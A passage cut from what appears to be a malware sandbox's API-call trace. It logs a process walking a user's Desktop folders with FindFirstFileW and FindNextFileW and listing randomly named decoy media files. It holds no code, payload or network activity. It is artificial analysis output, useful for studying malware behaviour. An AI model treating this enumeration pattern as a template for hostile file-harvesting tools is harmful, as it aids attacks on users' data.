ftCreationTime.dwLowDateTime=0x9f510690, ftCreationTime.dwHighDateTime=0x1d9b114, ftLastAccessTime.dwLowDateTime=0x763a6c40, ftLastAccessTime.dwHighDateTime=0x1d9b3f5, ftLastWriteTime.dwLowDateTime=0x763a6c40, ftLastWriteTime.dwHighDateTime=0x1d9b3f5, nFileSizeHigh=0x0, nFileSizeLow=0x15c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="O8-rRbrh2zl7qKNa.m4a", cAlternateFileName="O8-RRB~1.M4A")) returned 1 [0213.347] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cace60, ftCreationTime.dwHighDateTime=0x1d9aa72, ftLastAccessTime.dwLowDateTime=0xa9a22060, ftLastAccessTime.dwHighDateTime=0x1d9acab, ftLastWriteTime.dwLowDateTime=0xa9a22060, ftLastWriteTime.dwHighDateTime=0x1d9acab, nFileSizeHigh=0x0, nFileSizeLow=0xa6ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="pVp-.mkv", cAlternateFileName="")) returned 1 [0213.347] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a919620, ftCreationTime.dwHighDateTime=0x1d9a78c, ftLastAccessTime.dwLowDateTime=0xd274fe0, ftLastAccessTime.dwHighDateTime=0x1d9b051, ftLastWriteTime.dwLowDateTime=0xd274fe0, ftLastWriteTime.dwHighDateTime=0x1d9b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qudp9T5J94", cAlternateFileName="QUDP9T~1")) returned 1 [0213.347] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f84a20, ftCreationTime.dwHighDateTime=0x1d9ab32, ftLastAccessTime.dwLowDateTime=0xe8dc32f0, ftLastAccessTime.dwHighDateTime=0x1d9afa5, ftLastWriteTime.dwLowDateTime=0xe8dc32f0, ftLastWriteTime.dwHighDateTime=0x1d9afa5, nFileSizeHigh=0x0, nFileSizeLow=0x1a81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rdfr.jpg", cAlternateFileName="")) returned 1 [0213.347] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f731660, ftCreationTime.dwHighDateTime=0x1d9a875, ftLastAccessTime.dwLowDateTime=0x19035900, ftLastAccessTime.dwHighDateTime=0x1d9a983, ftLastWriteTime.dwLowDateTime=0x19035900, ftLastWriteTime.dwHighDateTime=0x1d9a983, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="T59ONmYjtDhfsMgj4i.m4a", cAlternateFileName="T59ONM~1.M4A")) returned 1 [0213.348] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379f6d0, ftCreationTime.dwHighDateTime=0x1d9b35f, ftLastAccessTime.dwLowDateTime=0xd96c1e70, ftLastAccessTime.dwHighDateTime=0x1d9b482, ftLastWriteTime.dwLowDateTime=0xd96c1e70, ftLastWriteTime.dwHighDateTime=0x1d9b482, nFileSizeHigh=0x0, nFileSizeLow=0x10cb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="xLGcsrCO_T-N7.png", cAlternateFileName="XLGCSR~1.PNG")) returned 1 [0213.348] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd9c7e0, ftCreationTime.dwHighDateTime=0x1d9a842, ftLastAccessTime.dwLowDateTime=0xf3c13c80, ftLastAccessTime.dwHighDateTime=0x1d9aa85, ftLastWriteTime.dwLowDateTime=0xf3c13c80, ftLastWriteTime.dwHighDateTime=0x1d9aa85, nFileSizeHigh=0x0, nFileSizeLow=0x484b, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOX9zMn0.odt", cAlternateFileName="")) returned 1 [0213.348] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f4d4d0, ftCreationTime.dwHighDateTime=0x1d9ae99, ftLastAccessTime.dwLowDateTime=0x18b3bac0, ftLastAccessTime.dwHighDateTime=0x1d9b339, ftLastWriteTime.dwLowDateTime=0x18b3bac0, ftLastWriteTime.dwHighDateTime=0x1d9b339, nFileSizeHigh=0x0, nFileSizeLow=0x106fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="yTgAISaJK.mp3", cAlternateFileName="YTGAIS~1.MP3")) returned 1 [0213.348] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b1b40, ftCreationTime.dwHighDateTime=0x1d9b11f, ftLastAccessTime.dwLowDateTime=0x1817dc0, ftLastAccessTime.dwHighDateTime=0x1d9b194, ftLastWriteTime.dwLowDateTime=0x1817dc0, ftLastWriteTime.dwHighDateTime=0x1d9b194, nFileSizeHigh=0x0, nFileSizeLow=0x4fb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y_iZ-3EFk1Ye.flv", cAlternateFileName="Y_IZ-3~1.FLV")) returned 1 [0213.349] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330ec550, ftCreationTime.dwHighDateTime=0x1d9b018, ftLastAccessTime.dwLowDateTime=0x38828160, ftLastAccessTime.dwHighDateTime=0x1d9b041, ftLastWriteTime.dwLowDateTime=0x38828160, ftLastWriteTime.dwHighDateTime=0x1d9b041, nFileSizeHigh=0x0, nFileSizeLow=0x16c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="_gACuPF.mp4", cAlternateFileName="")) returned 1 [0213.349] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330ec550, ftCreationTime.dwHighDateTime=0x1d9b018, ftLastAccessTime.dwLowDateTime=0x38828160, ftLastAccessTime.dwHighDateTime=0x1d9b041, ftLastWriteTime.dwLowDateTime=0x38828160, ftLastWriteTime.dwHighDateTime=0x1d9b041, nFileSizeHigh=0x0, nFileSizeLow=0x16c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="_gACuPF.mp4", cAlternateFileName="")) returned 0 [0213.349] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0213.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.350] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\A99 rC", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\A99 rC", lpFilePart=0x0) returned 0x24 [0213.350] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\A99 rC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\a99 rc\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f530050, ftCreationTime.dwHighDateTime=0x1d9a963, ftLastAccessTime.dwLowDateTime=0xd0cc8e20, ftLastAccessTime.dwHighDateTime=0x1d9aaa6, ftLastWriteTime.dwLowDateTime=0xd0cc8e20, ftLastWriteTime.dwHighDateTime=0x1d9aaa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0213.350] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f530050, ftCreationTime.dwHighDateTime=0x1d9a963, ftLastAccessTime.dwLowDateTime=0xd0cc8e20, ftLastAccessTime.dwHighDateTime=0x1d9aaa6, ftLastWriteTime.dwLowDateTime=0xd0cc8e20, ftLastWriteTime.dwHighDateTime=0x1d9aaa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.351] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6003b8a0, ftCreationTime.dwHighDateTime=0x1d9a59f, ftLastAccessTime.dwLowDateTime=0xbda7bba0, ftLastAccessTime.dwHighDateTime=0x1d9aeaa, ftLastWriteTime.dwLowDateTime=0xbda7bba0, ftLastWriteTime.dwHighDateTime=0x1d9aeaa, nFileSizeHigh=0x0, nFileSizeLow=0xa305, dwReserved0=0x0, dwReserved1=0x0, cFileName="8a3Zl8hhcZ_bQ_zjOXk.flv", cAlternateFileName="8A3ZL8~1.FLV")) returned 1 [0213.351] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x647c02f0, ftCreationTime.dwHighDateTime=0x1d9b398, ftLastAccessTime.dwLowDateTime=0x6856f980, ftLastAccessTime.dwHighDateTime=0x1d9b464, ftLastWriteTime.dwLowDateTime=0x6856f980, ftLastWriteTime.dwHighDateTime=0x1d9b464, nFileSizeHigh=0x0, nFileSizeLow=0xf3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NX5QjonMO3jHxmMD.mp3", cAlternateFileName="NX5QJO~1.MP3")) returned 1 [0213.351] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.351] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0213.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.352] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\A99 rC", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\A99 rC", lpFilePart=0x0) returned 0x24 [0213.352] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\A99 rC\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\a99 rc\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f530050, ftCreationTime.dwHighDateTime=0x1d9a963, ftLastAccessTime.dwLowDateTime=0xd0cc8e20, ftLastAccessTime.dwHighDateTime=0x1d9aaa6, ftLastWriteTime.dwLowDateTime=0xd0cc8e20, ftLastWriteTime.dwHighDateTime=0x1d9aaa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0213.352] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f530050, ftCreationTime.dwHighDateTime=0x1d9a963, ftLastAccessTime.dwLowDateTime=0xd0cc8e20, ftLastAccessTime.dwHighDateTime=0x1d9aaa6, ftLastWriteTime.dwLowDateTime=0xd0cc8e20, ftLastWriteTime.dwHighDateTime=0x1d9aaa6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.353] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6003b8a0, ftCreationTime.dwHighDateTime=0x1d9a59f, ftLastAccessTime.dwLowDateTime=0xbda7bba0, ftLastAccessTime.dwHighDateTime=0x1d9aeaa, ftLastWriteTime.dwLowDateTime=0xbda7bba0, ftLastWriteTime.dwHighDateTime=0x1d9aeaa, nFileSizeHigh=0x0, nFileSizeLow=0xa305, dwReserved0=0x0, dwReserved1=0x0, cFileName="8a3Zl8hhcZ_bQ_zjOXk.flv", cAlternateFileName="8A3ZL8~1.FLV")) returned 1 [0213.353] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x647c02f0, ftCreationTime.dwHighDateTime=0x1d9b398, ftLastAccessTime.dwLowDateTime=0x6856f980, ftLastAccessTime.dwHighDateTime=0x1d9b464, ftLastWriteTime.dwLowDateTime=0x6856f980, ftLastWriteTime.dwHighDateTime=0x1d9b464, nFileSizeHigh=0x0, nFileSizeLow=0xf3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NX5QjonMO3jHxmMD.mp3", cAlternateFileName="NX5QJO~1.MP3")) returned 1 [0213.353] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x647c02f0, ftCreationTime.dwHighDateTime=0x1d9b398, ftLastAccessTime.dwLowDateTime=0x6856f980, ftLastAccessTime.dwHighDateTime=0x1d9b464, ftLastWriteTime.dwLowDateTime=0x6856f980, ftLastWriteTime.dwHighDateTime=0x1d9b464, nFileSizeHigh=0x0, nFileSizeLow=0xf3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NX5QjonMO3jHxmMD.mp3", cAlternateFileName="NX5QJO~1.MP3")) returned 0 [0213.353] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0213.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.354] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\gmc-1Ry", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\gmc-1Ry", lpFilePart=0x0) returned 0x25 [0213.354] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\gmc-1Ry\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\gmc-1ry\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3591e450, ftCreationTime.dwHighDateTime=0x1d9a731, ftLastAccessTime.dwLowDateTime=0xa69d22e0, ftLastAccessTime.dwHighDateTime=0x1d9b4b0, ftLastWriteTime.dwLowDateTime=0xa69d22e0, ftLastWriteTime.dwHighDateTime=0x1d9b4b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0213.354] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3591e450, ftCreationTime.dwHighDateTime=0x1d9a731, ftLastAccessTime.dwLowDateTime=0xa69d22e0, ftLastAccessTime.dwHighDateTime=0x1d9b4b0, ftLastWriteTime.dwLowDateTime=0xa69d22e0, ftLastWriteTime.dwHighDateTime=0x1d9b4b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.355] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acaa760, ftCreationTime.dwHighDateTime=0x1d9a51c, ftLastAccessTime.dwLowDateTime=0xa38be460, ftLastAccessTime.dwHighDateTime=0x1d9b375, ftLastWriteTime.dwLowDateTime=0xa38be460, ftLastWriteTime.dwHighDateTime=0x1d9b375, nFileSizeHigh=0x0, nFileSizeLow=0x11eeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cih-8FvExtlWHmNJish.mp3", cAlternateFileName="CIH-8F~1.MP3")) returned 1 [0213.355] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938749b0, ftCreationTime.dwHighDateTime=0x1d9ac6d, ftLastAccessTime.dwLowDateTime=0x2e890610, ftLastAccessTime.dwHighDateTime=0x1d9acaa, ftLastWriteTime.dwLowDateTime=0x2e890610, ftLastWriteTime.dwHighDateTime=0x1d9acaa, nFileSizeHigh=0x0, nFileSizeLow=0x15a1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NuhAthQ8tKdCYFXz.bmp", cAlternateFileName="NUHATH~1.BMP")) returned 1 [0213.355] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a7aba0, ftCreationTime.dwHighDateTime=0x1d9ae77, ftLastAccessTime.dwLowDateTime=0x37ced710, ftLastAccessTime.dwHighDateTime=0x1d9b068, ftLastWriteTime.dwLowDateTime=0x37ced710, ftLastWriteTime.dwHighDateTime=0x1d9b068, nFileSizeHigh=0x0, nFileSizeLow=0x18209, dwReserved0=0x0, dwReserved1=0x0, cFileName="WlBrQLv4QL9o.mp4", cAlternateFileName="WLBRQL~1.MP4")) returned 1 [0213.355] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.356] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0213.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.356] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\gmc-1Ry", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\gmc-1Ry", lpFilePart=0x0) returned 0x25 [0213.356] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\gmc-1Ry\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\gmc-1ry\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3591e450, ftCreationTime.dwHighDateTime=0x1d9a731, ftLastAccessTime.dwLowDateTime=0xa69d22e0, ftLastAccessTime.dwHighDateTime=0x1d9b4b0, ftLastWriteTime.dwLowDateTime=0xa69d22e0, ftLastWriteTime.dwHighDateTime=0x1d9b4b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0213.356] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3591e450, ftCreationTime.dwHighDateTime=0x1d9a731, ftLastAccessTime.dwLowDateTime=0xa69d22e0, ftLastAccessTime.dwHighDateTime=0x1d9b4b0, ftLastWriteTime.dwLowDateTime=0xa69d22e0, ftLastWriteTime.dwHighDateTime=0x1d9b4b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.357] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acaa760, ftCreationTime.dwHighDateTime=0x1d9a51c, ftLastAccessTime.dwLowDateTime=0xa38be460, ftLastAccessTime.dwHighDateTime=0x1d9b375, ftLastWriteTime.dwLowDateTime=0xa38be460, ftLastWriteTime.dwHighDateTime=0x1d9b375, nFileSizeHigh=0x0, nFileSizeLow=0x11eeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cih-8FvExtlWHmNJish.mp3", cAlternateFileName="CIH-8F~1.MP3")) returned 1 [0213.357] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938749b0, ftCreationTime.dwHighDateTime=0x1d9ac6d, ftLastAccessTime.dwLowDateTime=0x2e890610, ftLastAccessTime.dwHighDateTime=0x1d9acaa, ftLastWriteTime.dwLowDateTime=0x2e890610, ftLastWriteTime.dwHighDateTime=0x1d9acaa, nFileSizeHigh=0x0, nFileSizeLow=0x15a1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NuhAthQ8tKdCYFXz.bmp", cAlternateFileName="NUHATH~1.BMP")) returned 1 [0213.357] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a7aba0, ftCreationTime.dwHighDateTime=0x1d9ae77, ftLastAccessTime.dwLowDateTime=0x37ced710, ftLastAccessTime.dwHighDateTime=0x1d9b068, ftLastWriteTime.dwLowDateTime=0x37ced710, ftLastWriteTime.dwHighDateTime=0x1d9b068, nFileSizeHigh=0x0, nFileSizeLow=0x18209, dwReserved0=0x0, dwReserved1=0x0, cFileName="WlBrQLv4QL9o.mp4", cAlternateFileName="WLBRQL~1.MP4")) returned 1 [0213.358] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a7aba0, ftCreationTime.dwHighDateTime=0x1d9ae77, ftLastAccessTime.dwLowDateTime=0x37ced710, ftLastAccessTime.dwHighDateTime=0x1d9b068, ftLastWriteTime.dwLowDateTime=0x37ced710, ftLastWriteTime.dwHighDateTime=0x1d9b068, nFileSizeHigh=0x0, nFileSizeLow=0x18209, dwReserved0=0x0, dwReserved1=0x0, cFileName="WlBrQLv4QL9o.mp4", cAlternateFileName="WLBRQL~1.MP4")) returned 0 [0213.358] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0213.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.358] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94", lpFilePart=0x0) returned 0x28 [0213.645] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\qudp9t5j94\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a919620, ftCreationTime.dwHighDateTime=0x1d9a78c, ftLastAccessTime.dwLowDateTime=0xd274fe0, ftLastAccessTime.dwHighDateTime=0x1d9b051, ftLastWriteTime.dwLowDateTime=0xd274fe0, ftLastWriteTime.dwHighDateTime=0x1d9b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0213.687] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a919620, ftCreationTime.dwHighDateTime=0x1d9a78c, ftLastAccessTime.dwLowDateTime=0xd274fe0, ftLastAccessTime.dwHighDateTime=0x1d9b051, ftLastWriteTime.dwLowDateTime=0xd274fe0, ftLastWriteTime.dwHighDateTime=0x1d9b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.687] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35777b90, ftCreationTime.dwHighDateTime=0x1d9b052, ftLastAccessTime.dwLowDateTime=0xbd76c80, ftLastAccessTime.dwHighDateTime=0x1d9b0ef, ftLastWriteTime.dwLowDateTime=0xbd76c80, ftLastWriteTime.dwHighDateTime=0x1d9b0ef, nFileSizeHigh=0x0, nFileSizeLow=0xa6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="5SDCXJpPVEx.gif", cAlternateFileName="5SDCXJ~1.GIF")) returned 1 [0213.687] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x570321d0, ftCreationTime.dwHighDateTime=0x1d9ac04, ftLastAccessTime.dwLowDateTime=0xceaea020, ftLastAccessTime.dwHighDateTime=0x1d9aed8, ftLastWriteTime.dwLowDateTime=0xceaea020, ftLastWriteTime.dwHighDateTime=0x1d9aed8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FkLM5jLJIR76", cAlternateFileName="FKLM5J~1")) returned 1 [0213.688] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776a2e60, ftCreationTime.dwHighDateTime=0x1d9a99c, ftLastAccessTime.dwLowDateTime=0x3c887890, ftLastAccessTime.dwHighDateTime=0x1d9ac78, ftLastWriteTime.dwLowDateTime=0x3c887890, ftLastWriteTime.dwHighDateTime=0x1d9ac78, nFileSizeHigh=0x0, nFileSizeLow=0xea01, dwReserved0=0x0, dwReserved1=0x0, cFileName="tvQaxGNEU_04E2hZ.mp3", cAlternateFileName="TVQAXG~1.MP3")) returned 1 [0213.688] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b24d5d0, ftCreationTime.dwHighDateTime=0x1d9a7fd, ftLastAccessTime.dwLowDateTime=0x3e81d40, ftLastAccessTime.dwHighDateTime=0x1d9b4a4, ftLastWriteTime.dwLowDateTime=0x3e81d40, ftLastWriteTime.dwHighDateTime=0x1d9b4a4, nFileSizeHigh=0x0, nFileSizeLow=0x2bca, dwReserved0=0x0, dwReserved1=0x0, 